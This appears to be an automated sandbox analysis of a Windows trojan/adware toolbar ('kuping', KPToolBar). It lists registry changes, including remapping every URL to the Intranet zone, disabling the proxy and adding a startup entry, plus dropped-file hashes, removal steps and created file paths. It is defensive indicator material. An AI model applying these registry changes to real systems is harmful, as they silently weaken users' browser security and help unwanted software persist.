[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@""%Program Files%\Windows NT\Accessories]
"WORDPAD.EXE"",-209"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"shimgvw.dll,-304"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%Program Files%\Internet Explorer\Connection Wizard]
"icwres.dll,-20003"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"shimgvw.dll,-306"
"shimgvw.dll,-305"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9902"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"zipfldr.dll,-10195"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@""%Program Files%\Windows NT\Accessories]
"WORDPAD.EXE"",-208"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"cryptext.dll,-6109"
"cryptext.dll,-6108"
"wshext.dll,-4800"
"shimgvw.dll,-307"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%Program Files%\NetMeeting]
"conf.exe,-12345"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"netshell.dll,-1300"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%Program Files%\NetMeeting]
"conf.exe,-12347"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\Perl\bin]
"perl.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\D:]
"Procmon.exe"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-22978"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9923"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%Program Files%\NetMeeting]
"nmwb.dll,-1234"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9920"
"unregmp2.exe,-9909"
"unregmp2.exe,-9926"
"unregmp2.exe,-9925"
"unregmp2.exe,-9905"
"unregmp2.exe,-9904"
"unregmp2.exe,-9907"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"PresentationHost.exe,-3308"
"mmcbase.dll,-130"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9903"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"pdh.dll,-10023"
"icardres.dll.mui,-4162"
"SHELL32.dll,-8964"
"icardres.dll.mui,-4146"
"SHELL32.dll,-9227"
"setupapi.dll,-2000"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"cmd.exe"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\D:]
"sandbox_svc.exe"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"cryptext.dll,-6145"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@shdoclc.dll,-880"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9914"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"PresentationHost.exe,-3300"
"wshext.dll,-4804"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"ntbackup.exe,-40"
"SHELL32.dll,-9217"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%WinDir%\inf]
"unregmp2.exe,-9908"
The process getnew.exe:1160 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F AC 71 59 7C 64 76 79 4D CA 14 C9 F2 D3 75 8D"
The process kuping_b_53390.exe:656 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 EA 2B 99 E3 64 66 F0 15 84 C7 44 D2 93 9F 28"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"Publisher" = "»°Óï¿Æ¼¼"
"DisplayName" = "¿áÆÃÂÂ4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"UninstallString" = "c:\kuping4\uninstall.exe"
"DisplayIcon" = "c:\kuping4\kuping_v4.exe"
"URLInfoAbout" = "http://www.wallba.com/"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"DisplayVersion" = "4.3.1.1"
The process %original file name%.exe:1284 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 FC 67 EC CA 20 29 A7 4D 3C 94 5F F0 35 AE 2B"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process KPToolBar.exe:1752 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 93 02 DE EE 64 FC F5 A6 93 48 0D 57 D4 FA F7"
[HKLM]
"KpDesktopToolBar" = "c:\KPToolBar\KPToolBar.exe"
Dropped PE files
MD5 | File path |
---|---|
d0f2416807f04c559e6394a0a4c7f1d1 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\KP_3F\LZMA.dll |
24d0a833b36d81d8e87a4457df9cb1e5 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\KP_3F\skinconfig\TongJICNZZ.dll |
2ce5a8ecc1a5953a1c68e67a63d17ab0 | c:\Program Files\kuping_b_53390.exe |
5b35e2dcdd2ef51b43b0cb0c95dd99f8 | c:\kuping4\BootStart.dll |
da26a931164cffbbe06f8f326fd07a2d | c:\kuping4\DeskTopPop.exe |
a1fe4789a9493bc057cf778076af9209 | c:\kuping4\ExpandPackCheck.exe |
d1bf9c97acd160d940f355601db79064 | c:\kuping4\IndividualCenter.dll |
08c4dd9d73cda35e2bf5aedf8d3650e3 | c:\kuping4\KPMsgBoxDll.dll |
274366c07438df3cbcacd870516f4058 | c:\kuping4\KPUpdater.dll |
af9e78dbed7743d930541ebae9f0a600 | c:\kuping4\KpInstallTheme.exe |
963848f652d186f1446d37137ad6af70 | c:\kuping4\Kp_BootClr.exe |
af9aff9994581814fc42f01035e1a39f | c:\kuping4\Kp_BootClry.exe |
e50a07998f4f25d2bdd4956fe43f020a | c:\kuping4\Repairer.exe |
ee5e62e9c27b80a0ae5e5a6aa8dab85c | c:\kuping4\SkinCenter.dll |
74cb56f1bf76aa6aaae399b9bcbd59b9 | c:\kuping4\ThemeInstall.dll |
6d87a9fbdef81c2684711d68af1c6bbb | c:\kuping4\TongJICNZZ.dll |
e8af0046f405043d4346ce592cb27b28 | c:\kuping4\Uninstall\StartMenu.exe |
93369bfd94be0a65a112a298f22f479a | c:\kuping4\UniversalFunction.dll |
9623db0c6e12beb2a4f0f1eabfdeef84 | c:\kuping4\Update\UDStatictical.dll |
9096c71932f4b2ed18c698c8931f948b | c:\kuping4\Update\UpData.dll |
6ba47762b664fb4bd16568ccbe73f758 | c:\kuping4\UserBehaviorStatistics.dll |
a60bb93f45853fbec835e7e46ee6eb36 | c:\kuping4\dgmon.dll |
1ece936c359ff817fa6f0b46409acbfb | c:\kuping4\getnew.exe |
328d74becb2fb3c45ad4a66a0a8bf078 | c:\kuping4\kp4_Mini.exe |
ac12621ca08c95f6ddb6039cab43854e | c:\kuping4\kpTopBar_b_8.exe |
c5585b066357267e6f0f160f22581337 | c:\kuping4\kuping_v4.exe |
14f417bbf38dffd22bbbfe49f625f1ca | c:\kuping4\livability.dll |
81eb86203f16a41d444154872a48015b | c:\kuping4\login.dll |
b592ae54151426ecb398f1948ae45162 | c:\kuping4\uninstall.exe |
f4afe818a97808e389bb579bb3521a39 | c:\kuping4\unrar.dll |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
kpTopBar_b_8.exe:132
getnew.exe:1160
KPToolBar.exe:1752 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\delete.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\Default.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_4.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\bg0.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_MyDocument.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\local_add.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_SpreadButton.png (1 bytes)
C:\KPToolBar\Update\SkinResource\Update.png (196 bytes)
C:\KPToolBar\Update\SkinResource\BKStep2.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\bz_2.png (588 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\float.png (1 bytes)
C:\KPToolBar\skinConfig\Default\IeList.ini (527 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\4.png (1372 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Up_.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\set.png (196 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarMsg.ini (432 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_SpreadButton.png (1 bytes)
C:\KPToolBar\Update\UDStatictical.dll (1882 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\jian.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\delete.png (1 bytes)
C:\KPToolBar\Update\SkinResource\IsNew.png (196 bytes)
C:\KPToolBar\Update\UpData.dll (2342 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\soso_btn.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\01.png (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\shop.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_1.png (1 bytes)
C:\KPToolBar\Update\Skin.ini (2 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\lijixiufu.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\Thumbs.db (1568 bytes)
C:\KPToolBar\skinConfig\Default\CWyst_AddPicDlg.ini (196 bytes)
C:\KPToolBar\Update\SkinResource\BKStep1.png (1098 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\option.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\select.png (3 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\input.png (212 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\ck.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\news.png (3 bytes)
C:\KPToolBar\Update\SkinResource\ProgressBar.png (984 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Slider_V.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\close.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\line.png (934 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarSettingInfo.ini (450 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\sougou.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\txt2.png (1 bytes)
C:\KPToolBar\WallPaperIni\WallPaperSytle.xml (234 bytes)
C:\KPToolBar\GameIcon\Nomal\gameicon.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\soso.png (3 bytes)
C:\KPToolBar\skinConfig\Default\APP.ini (598 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\set.png (196 bytes)
C:\KPToolBar\Update\SkinResource\PopupBox.png (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\h[2].js (13 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice3.png (2 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarAbout.ini (542 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\delete.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
C:\KPToolBar\wdj_connection_wrapper.dll (1949 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\system.png (1 bytes)
C:\KPToolBar\UserBehaviorStatistics.dll (471 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_Cancel.png (3 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarBZ.ini (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\search.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\bg2.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\dan_xuan.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_ChooseBox.png (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\tongji_baidu[1].htm (295 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Load-Fail-.png (2 bytes)
C:\KPToolBar\TongJICNZZ.dll (1333 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Bar.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\add.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\video.png (196 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\down.png (161 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\google.png (1 bytes)
%Documents and Settings%\%current user%\Desktop\¿áÆÃ¹¤¾ßÌõ.lnk (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_Advance.png (4 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\cancel.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\now-loading.png (1 bytes)
C:\KPToolBar\SystemConfig\setting.ini (547 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\bz_1.png (588 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice1.png (2 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\xiezai.png (375 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\line2.png (929 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\bg_02.png (1568 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\check.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\wallbase_bg.png (157 bytes)
C:\KPToolBar\Update\SkinResource\FnishSmall.png (2 bytes)
C:\KPToolBar\getnew.exe (1960 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\scroll_bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\RadioBox.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\danxuan.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\note.png (1960 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\link.png (784 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\finish2.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_CancelCT.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\seach_bar.png (1 bytes)
C:\KPToolBar\DeskTopPop.exe (1529 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\using.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\play.png (4 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set.png (1 bytes)
C:\KPToolBar\skinConfig\IsFirst.ini (97 bytes)
C:\KPToolBar\Uninstall\Link.exe (275 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarLocation.ini (27 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_NoPic_AfterCT.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\promt_cancel.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\video.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\search.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\close.png (2 bytes)
C:\KPToolBar\skinConfig\AppUrl.ini (222 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\index[1].htm (750 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\procss_time.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\wait.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\mini.png (196 bytes)
C:\KPToolBar\Update\info.ini (20 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_AddToUL.png (4 bytes)
C:\KPToolBar\Update\SkinResource\Exit.png (1 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBar.ini (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\scroll_bar_img.png (972 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolAdd.ini (991 bytes)
C:\KPToolBar\Update\SkinResource\Minimize.png (392 bytes)
C:\KPToolBar\UniversalFunction.dll (4017 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\360_btn.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\bg.png (196 bytes)
C:\KPToolBar\Update\soft.ini (907 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\config.153624[1].xml (266 bytes)
C:\KPToolBar\Update\SkinResource\Fnish.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\Thumbs.db (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_NoPic_BeforeCT.png (980 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\ie.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\focus.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\game.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\logo.png (196 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\Uninstall.ini (1 bytes)
C:\KPToolBar\skinConfig\skinconfig.ini (88 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\close.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\sure.png (196 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\advert.png (980 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\soso.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\ta.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\like.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\prompt.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanResult\Img_SelectAll.png (2 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\mennu_narrow.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\chk.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\scaning.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\soougou_btn.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\installedSoftInfo.ini (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\h[1].js (5 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\goole_logo.png (2 bytes)
C:\KPToolBar\Update\SkinResource\Cancel.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Down_V.png (1 bytes)
C:\KPToolBar\Update\SkinResource\Ok.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\search_tips.png (588 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice2.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_focus.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\focus.png (1 bytes)
C:\KPToolBar\unrar.dll (824 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\jindutiao.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice.png (2 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarSearch.ini (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\add.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\cancel.png (3 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\¿áÆÃ¹¤¾ßÌõ\¿áÆÃ¹¤¾ßÌõ.lnk (1 bytes)
C:\KPToolBar\skinConfig\category.xml (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\About\about.png (588 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\¿áÆÃ¹¤¾ßÌõ\öÃâ€ÂØ¿áÆÃ¹¤¾ßÌõ.lnk (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\close.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\show.png (1 bytes)
C:\KPToolBar\Repairer.exe (549 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\img_01.png (157 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\round.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\time.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\txt3.png (1 bytes)
C:\KPToolBar\zlib1.dll (1490 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Down.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_2.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\bg_01.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Slider.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\txt.png (1 bytes)
